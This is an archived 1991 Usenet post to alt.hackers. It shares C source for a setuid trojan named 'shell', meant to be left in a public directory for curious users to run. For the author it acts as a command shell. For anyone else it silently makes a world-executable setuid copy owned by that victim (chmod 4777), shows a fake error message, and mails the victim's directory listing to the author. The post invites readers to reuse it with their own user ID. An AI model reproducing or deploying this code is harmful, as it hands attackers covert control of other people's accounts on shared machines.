Path: utzoo!utgpu!news-server.csri.toronto.edu!bonnie.concordia.ca!thunder.mcrcim.mcgill.edu!snorkelwacker.mit.edu!think.com!sdd.hp.com!decwrl!uunet!mcsun!ukc!cf-cm!rhl From: rhl@computing-maths.cardiff.ac.uk (Robert Hartill) Newsgroups: alt.hackers Subject: set user ID.. Message-ID: <1991Jun14.124606.25979@cm.cf.ac.uk> Date: 14 Jun 91 12:46:06 GMT Sender: rhl@computing-maths.cardiff.ac.uk (Robert Hartill) Reply-To: rhl@computing-maths.cardiff.ac.uk (Robert Hartill) Organization: University of Wales College of Cardiff, Cardiff, WALES, UK. Lines: 54 Approved: H.M Government Here's a little hack, I keep the exe version in a public directory in a /well directory. It uses the set user ID bit to give access to the accounts of anyone curious enough to run it. Name the exe file 'shell' and replace 'rhl' for your user ID. ---------------------- #include #include void main() { char command[80]; char c; if(strcmp(getlogin(),"rhl") == 0) { printf("Hello rhl\n"); while(1) { printf("shell==>"); c=0; while ((command[c++] = getchar()) != '\n' ); command[c-1] = '\0'; system(command); } } else { system("cp shell .shell.`whoami`"); system("chmod 4777 .shell.`whoami`"); printf("Divide by zero at line 0043 \n"); system("ls -alc | mail rhl"); } } ----------------------- Does anyone know how to get 'cd' to work ? by buy, rob. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :: Robert Hartill, Dept Of Computing Mathematics, UWCC, Cardiff, UK. :: :: e-mail : rhl@cm.cf.ac.uk Fax : 0222 666182 :: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: He is a self-made man, and worships his creator. -John Bright 1868. -------------------------------------------------------------------------------